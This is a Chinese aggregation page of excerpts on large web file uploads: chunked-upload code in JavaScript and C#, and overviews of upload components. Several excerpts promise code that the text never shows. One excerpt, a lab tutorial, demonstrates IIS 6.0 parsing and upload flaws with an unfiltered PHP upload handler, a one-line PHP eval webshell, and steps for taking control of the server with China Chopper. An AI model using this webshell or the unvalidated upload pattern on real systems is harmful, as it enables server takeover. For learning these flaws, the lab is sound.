精华内容
下载资源
问答
  • WEB大文件上传

    2019-03-23 13:59:04
    WEB大文件上传,上传速度非常快。仅供参考哦
  • web大文件上传

    2018-01-22 15:29:36
    一般10M以下的文件上传通过设置Web.Config,再用VS2005自带的FileUpload控件就可以了,但是如果要上传100M甚至1G的文件就不能这样上传了,这时可以用HttpUploader6来上传,也可以上传文件夹,同时还可以保留文件夹结构...
  • web 大文件上传 带进度条
  • web 大文件上传 带进度条 asp----------
  • web大文件上传解决方案

    千次阅读 2019-08-16 09:53:17
    众所皆知,web上传文件,一直是一个痛。上传文件大小限制,页面响应...大文件上传及断点续传,要求:支持50G级的单个文件上传和续传。续传要求:在刷新浏览器后能够续传上传,在重启浏览器后能够继续上传上(关...

    众所皆知,web上传大文件,一直是一个痛。上传文件大小限制,页面响应时间超时.这些都是web开发所必须直面的。

    本文给出的解决方案是:前端实现数据流分片长传,后面接收完毕后合并文件的思路。

    实现文件夹上传,要求:服务端保留层级结构,支持10w级别的文件夹上传。

    大文件上传及断点续传,要求:支持50G级的单个文件上传和续传。续传要求:在刷新浏览器后能够续传上传,在重启浏览器后能够继续上传上(关闭浏览器后重新打开),在重启电脑后能够继续上传。

    支持PC端全平台,Windows,Mac,Linux

    浏览器要求支持全部浏览器,包括ie6,ie7,ie8,ie9,Chrome,Firefox

     

    下面贴出简易DEMO源码分享:

    前端页面:

     

    后端代码,此Demo是基于MVC架构的:

    后端代码我进行了模块划化,而不是网上的将所有的模块放在一个类中,这样对于以后的维护和升级来说都是一个灾难。

     

    文件块处理逻辑

     

    文件块保存逻辑如下

     

    web.xml配置如下

     

    整个项目的截图

     

    依赖的JAR包如下

     

    运行效果如下:

     

    在此分享!希望多多指正~

    后端代码逻辑大部分是相同的,目前能够支持MySQL,Oracle,SQL。在使用前需要配置一下数据库,可以参考我写的这篇文章:http://blog.ncmem.com/wordpress/2019/08/07/java超大文件上传与下载/

    展开全文
  • C#编写的Web大文件上传代码,使用VS2008环境编写,通过HttpUploadModule实现文件分块上传。
  • java web 大文件上传源代码,找了好久,分享给大家,加入了缺少的jar包
  • 使用webupload实现了在C# .net项目中的断点续传演示(绝对不亏... (3)webuploader.js和upload.js是webupload的配置文件和JS分片支持文件 (4)scripts及styles文件夹是JS和CSS等文件 (5)upload文件夹是默认的上传文件夹
  • java web 大文件上传源代码,找了好久,分享给大家,加入了缺少的jar包,这是目前为止找到的最为完整的项目了,所有的java类,jar包,数据表脚本全部都齐全了。
  • WEB大文件上传几个组件了解

    万次阅读 2009-10-30 15:24:00
    WEB大文件上传几个组件了解(转自:http://www.cnblogs.com/yjmyzz/archive/2010/03/19/1689996.html) 1.swfupload 开源项目 也是免费的,同时也是功能最强大的 官网地址:http://www.swfupload.org/在线演示:...

    WEB大文件上传几个组件了解

    (转自:http://www.cnblogs.com/yjmyzz/archive/2010/03/19/1689996.html)

     

    1.swfupload 开源项目

     

    也是免费的,同时也是功能最强大的 官网地址:http://www.swfupload.org/

    在线演示:http://demo.swfupload.org/v220/index.htm

    这个项目很成熟,推荐使用。

    示例Demo(Asp.Net4.0环境下的,必须用VS2010打开)
    最后要提醒的一点是:安全第一!凡是有上传的地方,都是可以上传木马的地方,不要相信任何客户端提交过来的文件。(比如客户可以把.aspx改成.jpg上传,如果服务器管理员发神经把.jpg映射成跟.aspx一样,嘿嘿...)

    所以我的建议是:一定要在服务端检测文件MIME类型,要伪造这个是比较困难的,相对更安全;同时服务端上的上传目录不要给予任何执行权限,只要读取权限即可.

     

    2.uploadify这是一个基于Flash技术的文件上传JQuery插件.

    提供的功能包括:能够一次性选择多个文件上传,查看上传进度,控制文件上传类型和大小,为每一步操作添加回调函数等。该插件还自带一个PHP文件用于服务器端处理上传文件。

    主页:http://www.uploadify.com/

    下载:http://www.uploadify.com/download/

    示例:http://www.uploadify.com/demo/

     

     jQuery Php Upload  

     

     

    4.aspnetupload国产收费(有免费版但有限制)

     

    这是国人开发的一款收费.net控件,官网http://www.aspnetupload.net/ (不过也有一个免费版本的,允许上传10M内容,一般情况下也够了,收费版也不贵,大致就600 RMB)

    它的大概原理是把文件分成一块一块的上传,然后客户端用ajax不断刷新从而显示进度条.


    这也是我使用时间最长的一种解决方案,在IIS7出现以前完全没有任何问题,但IIS7及以上版本中,如果用了这个控件,应用程序池就只能运行在“经典”模式下,无法充分发挥IIS7的优点。


    我向作者反馈过该问题,遗憾的是貌似作者也没有改进的意思。

     

    5.silverlightUpload 开源项目

     

    完全免费,官网地址:http://silverlightfileupld.codeplex.com/

    大致原理:利用silverlight做界面,点击上传时发起post请求到服务端,然后不断回调显示进度。

    开启图片缩略图预览后的样子如下:

     

    缺点:就是有点粗糙,不方便与Form表单整合.
    "汉化"后的源文件下载

     

    3.仿163多文件上传示例

    学习参考地址:http://www.cnblogs.com/cloudgamer/archive/2009/04/02/1314766.html

    展开全文
  • web传输大文件.rar

    2021-08-09 00:23:49
    web传输大文件.rar
  • 注:此上传为单文件上传 用FLASH实现WEB大文件上传 附FLASH源码,可自行对FLASH进行修改 后台程序简单明了,可自行扩展
  • web文件上传

    2015-07-18 16:17:32
    基于Java web实现文件上传功能。JSP页面,文件上传至本地,是一个简单Web练习程序。
  • Webapi 文件上传

    2017-10-31 14:09:41
    支持文件上传,可以根据配置文件上传各种类型文件,文件大小
  • 最近接触go语言,对于go语言实现web大文件上传没有思路,求大神指教
  • ctf-web:文件上传漏洞和文件解析漏洞

    万次阅读 多人点赞 2020-10-11 21:13:56
    这次的内容是关于文件上传的漏洞和文件解析的漏洞的内容,在下面我会进行一个关于这两个方面的内容的实际操作以及原理介绍. 其实我一直想学的就是web渗透,但是一直都不知道web渗透都有什么后来才知道居然就是sql注入,...

    这次的内容是关于文件上传的漏洞和文件解析的漏洞的内容,在下面我会进行一个关于这两个方面的内容的实际操作以及原理介绍.
    其实我一直想学的就是web渗透,但是一直都不知道web渗透都有什么后来才知道居然就是sql注入,还有这几个漏洞的利用就是web渗透…这不就是我好几年前看的东西么…
    当然,其实我也学的不是很精通,只是稍微会一点,就不夸夸其谈了.
    先说说这两个漏洞的区别.
    一.文件上传漏洞
    这个漏洞产生的原因是因为上传文件的不严谨所产生的.
    比如我恶意上传了一个一句话木马,但是服务器没有进行对文件的过滤,就会将上传的文件存放在服务器,这样是十分危险的.并且一般和后面的文件解析漏洞配合在一起使用.
    二.文件解析漏洞
    这个漏洞是由于服务器的原因造成的,就比如我们一会儿要举例的iis6.0服务器就有这个漏洞.
    简单来说,在iis6.0服务器上,如果服务器有一个"xxx.asp"文件夹,那么就会将这个文件下面的所有文件都当成一个asp脚本去执行.

    想想看,如果我们上传了一个删除系统数据库的病毒文件上去,然后又被解析成了某种语法去执行,是不是后果很可怕?
    因此,我会特地去讲一下这个东西的如何去实现的.后面我会把网站的源码附上.很多服务器都存在这个漏洞,我这里就介绍iis6.0的文件解析漏洞,想看其他的服务器的漏洞可以去百度一下.
    工具的话我把名字发上来,自己去找一下.
    实验环境:虚拟机win2003一台,软件phpstudy,中国菜刀

    一.iis6.0服务器的文件解析漏洞

    前面已经说过,iis6.0的漏洞就是会把xxx.asp文件夹下的文件都当作asp文件执行,我们试试便知.
    win2003都会自带iis6,因此直接安装就好,安装教程我就不发了,百度有.
    如图,此刻已经是安装好的.记得点到web的选项,按照图中进行配置.
    在这里插入图片描述
    此刻我们已经搭建网站成功.用主机输入服务器ip即可进行访问.由于我之前搭建phpstudy占用了80端口,我就把端口改成了82.你们在做的时候应该是不需要这一步的.
    在这里插入图片描述
    配置好以后,点击网站,然后右键那个默认网站,点击停用.
    在这里插入图片描述
    之后右键网站->新建->网站,新建一个自己的网站.我的已经建好了,就不做多余的演示了
    在这里插入图片描述

    需要注意的是,在新建网站的时候,有个运行脚本的选项要选上.如图
    在这里插入图片描述

    在这个里面点击右键,添加一个文件,和文件夹,文件名字叫做"index.html",文件夹名字随便起一个以.asp结尾的即可,我的是wzc.asp.然后在文件夹里面新建一个文件,名字随便起一个,比如1.txt.
    在这里插入图片描述
    在这里插入图片描述
    然后在这两个新建的1.txt和index.html都写入以下的内容:

    <%
    response.write("My first ASP script!")
    %>
    

    为什么要这么建文件呢?其实就是为了验证这个漏洞的.上面的代码是asp的语法,在屏幕上显示一句话.
    如果文件被解析成了asp文件,那么就会只显示引号里面的内容.
    如果没有的话,就直接把所有内容都显示出来.
    因此.我们新建了这两个文件用来验证.

    验证一:访问非asp文件夹下的文件(我的端口是81)

    也就是网站的主页.我用主机进行访问时,页面显示的是这样的:
    在这里插入图片描述
    看,是不是直接把文件当成了一个txt文本显示了出来?

    验证二:访问以.asp结尾文件夹下的文件

    访问结果如图:
    在这里插入图片描述
    果然,我们的代码被当成了asp脚本执行了.由此验证,我们的iis6.0确实存在这个漏洞.

    二.文件上传漏洞和文件解析漏洞的结合使用

    文件上传漏洞产生的原因就不像上一个是因为服务器产生的了,而是因为程序员的不严谨而产生的.
    在一些允许上传文件的网站中,编写php后台脚本时,不会对文件近进行检查,所以有一些黑客会利用这个上传一个叫"一句话木马"的脚本.
    这种脚本属于木马,当上传成功以后,在攻击者的电脑使用比如"中国菜刀"之类的软件进行连接,最终为所欲为.
    当然,中国菜刀属于比较落后的软甲,比较先进的有冰蝎等软件.有兴趣可以百度.
    由此可见,这种漏洞的危害性是非常大的.下面我会演示一下这个过程.

    过程实现

    首先安装phpstudy,然后在你的服务器下添加下面两个网站.源码发在下面.
    文件一:upload-file.html

    <html>
    <head>
     <title> 文件上传之解析漏洞~php</title>
     </head>
    <body>
    
    <form action="upload.php" method="post"
    enctype="multipart/form-data">
    <label for="file">Filename:</label>
    <input type="file" name="file" id="file" /> 
    <br />
    <input type="submit" name="submit" value="提交" />
    </form>
    
    </body>
    </html>
    

    文件二:upload.php

    <?php
    
      if ($_FILES["file"]["error"] > 0)
        {
        echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
        }
      else
        {
        echo "Upload: " . $_FILES["file"]["name"] . "<br />";
        echo "Type: " . $_FILES["file"]["type"] . "<br />";
        echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
        echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";
    
        if (file_exists("upload/" . $_FILES["file"]["name"]))
          {
          echo $_FILES["file"]["name"] . " already exists. ";
          }
        else
          {
          move_uploaded_file($_FILES["file"]["tmp_name"],
          "upload/" . $_FILES["file"]["name"]);
          echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
          }
        }
     
    ?>
    

    放在如图的位置.
    在这里插入图片描述
    远程访问以下,发现成功.
    在这里插入图片描述
    我们随便上传一个php文件.
    在这里插入图片描述
    …连点防御都没有(从那个php代码就可以看出,不过我是从攻击者的角度出发的,由此可证明这个php代码有文件上传的漏洞).
    如图,在服务器下有个upload文件,里面就是我们上传的文件.
    在这里插入图片描述
    这个php一句话木马只是用来测试的,是为了看看能不能上传成功.现在我把一句话木马源码奉上.

    <?php eval($_POST["wzc"]);?>
    

    这段代码的原理我就不解释了.目的是为了方便使中国菜刀进行连接.你需要修改的使引号里面的内容,这个是后面中国菜刀连接是的密码.
    如图,这个是我的中国菜刀的界面,按照图中的方式配置.
    在这里插入图片描述
    上面把你的一句话木马的网站上的路径填上.我当时为了方便,把名字改成了"1.php".后面的空填刚刚的密码,下面记得选择php(eval)代码类型.连接以后,右键文件管理,会产生如图的效果.
    在这里插入图片描述
    看,现在我们就进到服务器里面了,接下来想怎么搞就怎么搞了.

    好了,就写这么多吧.
    剩余的也懒的想了,如果还想继续看一些东西的话,可以关注我,我后续会发一些比如数据库注入,软件破解之类的东西.
    有兴趣的可以加我qq:1392969921

    展开全文
  • 随着互联网、HTML5等技术的发展,文件上传Web端的应用越来越普遍,同时对文件上传,特别是大文件上传的效率、稳定性、安全性、普适性等要求也越来越高,然而目前多数文件上传方式均不能很好的满足这些要求....
  • 基于web文件传输系统,有登陆注册功能、文件传输功能、文件展示功能、留言功能等,可作为课设或者web项目学习。
  • .net core 我们都知道用IFormFile 上传文件很方便,但是这种对大文件读取放内存,服务器吃不消,就算你配置,服务器也不可能给你一次性超大文件传输或者长连接,切片上传是最好的解决方案 一、前端对文件进行计算...

    .net core 我们都知道用IFormFile 上传文件很方便,但是这种对大文件读取放内存,服务器吃不消,就算你配置,服务器也不可能给你一次性超大文件传输或者长连接,切片上传是最好的解决方案

     

    一、前端对文件进行计算切割分批请求上传

      HTML源码

    <html>
    <head>
        <meta name="viewport" content="width=device-width" />
        <title>Index</title>
        <script src="/lib/jquery/dist/jquery.js"></script>
    </head>
    <body>
        <div class="row" style="margin-top:20%">
            <div class="col-lg-4"></div>
            <div class="col-lg-4">
                <input type="text" value="请选择文件" size="20" name="upfile" id="upfile" style="border:1px dotted #ccc">
                <input type="button" value="浏览" onclick="path.click()" style="border:1px solid #ccc;background:#fff">
                <input type="file" id="path" style="display:none" multiple="multiple" onchange="upfile.value=this.value">
                <br />
                <span id="output">0%</span>
                <button type="button" id="file" onclick="UploadStart()" style="border:1px solid #ccc;background:#fff">开始上传</button>
            </div>
            <div class="col-lg-4"></div>
        </div>
    </body>
    </html>

    JavaScript源码

    var UploadPath = "";
    //开始上传
    function UploadStart() {
        var file = $("#path")[0].files[0];
        AjaxFile(file, 0);
    }
    function AjaxFile(file, i) {
        var name = file.name, //文件名
        size = file.size, //总大小shardSize = 2 * 1024 * 1024, 
        shardSize = 2 * 1024 * 1024,//以2MB为一个分片
        shardCount = Math.ceil(size / shardSize); //总片数
        if (i >= shardCount) {
            return;
        }
        //计算每一片的起始与结束位置
        var start = i * shardSize,
        end = Math.min(size, start + shardSize);
        //构造一个表单,FormData是HTML5新增的
        var form = new FormData();
        form.append("data", file.slice(start, end)); //slice方法用于切出文件的一部分
        form.append("lastModified", file.lastModified);
        form.append("fileName", name);
        form.append("total", shardCount); //总片数
        form.append("index", i + 1); //当前是第几片
        UploadPath = file.lastModified
        //Ajax提交文件
        $.ajax({
            url: "/Upload/UploadFile",
            type: "POST",
            data: form,
            async: true, //异步
            processData: false, //很重要,告诉jquery不要对form进行处理
            contentType: false, //很重要,指定为false才能形成正确的Content-Type
            success: function (result) {
                if (result != null) {
                    i = result.number++;
                    var num = Math.ceil(i * 100 / shardCount);
                    $("#output").text(num + '%');
                    AjaxFile(file, i);
                    if (result.mergeOk) {
                        var filepath = $("#path");
                        filepath.after(filepath.clone().val(""));
                        filepath.remove();//清空input file
                        $('#upfile').val('请选择文件');
                        alert("success!!!");
                    }
                }
            }
        });
    }

     

    二、服务器端,获取上传的切割流,存储在临时目录中,完成后拼接临时文件成一个文件,再删除临时文件

    C# 服务器端源码

    [HttpPost]
            public async Task<ActionResult> UploadFile()
            {
                var data = Request.Form.Files["data"];
                string lastModified = Request.Form["lastModified"].ToString();
                var total = Request.Form["total"];
                var fileName = Request.Form["fileName"];
                var index = Request.Form["index"];
    
                string temporary = Path.Combine($"{Directory.GetCurrentDirectory()}/wwwroot/", lastModified);//临时保存分块的目录
                try
                {
                    if (!Directory.Exists(temporary))
                        Directory.CreateDirectory(temporary);
                    string filePath = Path.Combine(temporary, index.ToString());
                    if (!Convert.IsDBNull(data))
                    {
                        await Task.Run(() => {
                            FileStream fs = new FileStream(filePath, FileMode.Create);
                            data.CopyTo(fs);
                        });
                    }
                    bool mergeOk = false;
                    if (total == index)
                    {
                        mergeOk = await FileMerge(lastModified, fileName);
                    }
    
                    Dictionary<string, object> result = new Dictionary<string, object>();
                    result.Add("number", index);
                    result.Add("mergeOk", mergeOk);
                    return Json(result);
    
                }
                catch (Exception ex)
                {
                    Directory.Delete(temporary);//删除文件夹
                    throw ex;
                }
            }
    
            public async Task<bool> FileMerge(string lastModified, string fileName)
            {
                bool ok = false;
                try
                {
                    var temporary = Path.Combine($"{Directory.GetCurrentDirectory()}/wwwroot/" ,lastModified);//临时文件夹
                    fileName = Request.Form["fileName"];//文件名
                    string fileExt = Path.GetExtension(fileName);//获取文件后缀
                    var files = Directory.GetFiles(temporary);//获得下面的所有文件
                    var finalPath = Path.Combine($"{Directory.GetCurrentDirectory()}/wwwroot/", DateTime.Now.ToString("yyMMddHHmmss") + fileExt);//最终的文件名(demo中保存的是它上传时候的文件名,实际操作肯定不能这样)
                    var fs = new FileStream(finalPath, FileMode.Create);
                    foreach (var part in files.OrderBy(x => x.Length).ThenBy(x => x))//排一下序,保证从0-N Write
                    {
                        var bytes = System.IO.File.ReadAllBytes(part);
                        await fs.WriteAsync(bytes, 0, bytes.Length);
                        bytes = null;
                        System.IO.File.Delete(part);//删除分块
                    }
                    fs.Close();
                    Directory.Delete(temporary);//删除文件夹
                    ok = true;
                }
                catch (Exception ex)
                {
                    throw ex;
                }
                return ok;
            }

    三、测试500M的视频成功

     

     

    感谢博客园 天空的影子 博主  ,文章来自https://www.cnblogs.com/bestckk/p/6103065.html 

    翻译 风吹蛋蛋飘~

     

     

    展开全文
  • WEB大文件上传几个组件了解 (转自:http://www.cnblogs.com/yjmyzz/archive/2010/03/19/1689996.html)   1.swfupload 开源项目   也是免费的,同时也是功能最强大的 官网地址:...
  • Web上传超大文件解决方案

    千次阅读 2019-11-14 18:12:16
    文件上传下载,与传统的方式不同,这里能够上传和下载10G以上的文件。而且支持断点续传。 通常情况下,我们在网站上面下载的时候都是单个文件下载,但是在实际的业务场景中,我们经常会遇到客户需要批量下载的场景...
  • WebApi 文件 上传 下载,包括上传下载调用的例子,请先还原nuget包
  • C#Web服务文件传输

    2009-07-27 10:47:48
    C#Web服务文件传输,包括文件的下载与上载
  • 基于java web文件上传代码;基于java web文件上传代码;基于java web文件上传代码;
  • asp.net web文件上传

    2012-10-22 19:06:34
    asp.net web文件上传 完整的源代码 ,可以实现多文件上传
  • 基于ASP.NET4.0 WEB版的 WebUploader大文件上传实例,带进度条显示,可方便移植到ASP.NET4.0 WEB程序中
  • 利用JavaScript 和ADODB.Stream 技术实现了文件的分块读取, 利用XMLHttp 技术实现文件块的异步发送, ...在服务器端接收文件块并记录接收日志, 在此基础上实现了文件的断点续传, 且传输速度较快, 对文件的大小没有限制。
  • web文件上传大小限制

    千次阅读 2016-03-28 21:33:53
    最近在项目中遇到上传文件,对上传文件的大小需要进行限制,这里学习和整理了一下一些常规的文件大小限制的方法。一般分为两种方式,一种是服务器端判断文件大小...当上传的文件过之后,可以使用百度开发的文件上传
  • WEB文件传输

    2019-03-27 15:33:42
    //用于文件上传的服务器端请求地址 type : "post" , async : false , data : upData , contentType : false , //禁止ajax 自动添加请求头 processData : false , // 禁止ajax 自动转换数据...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 680,320
精华内容 272,128
关键字:

web大文件上传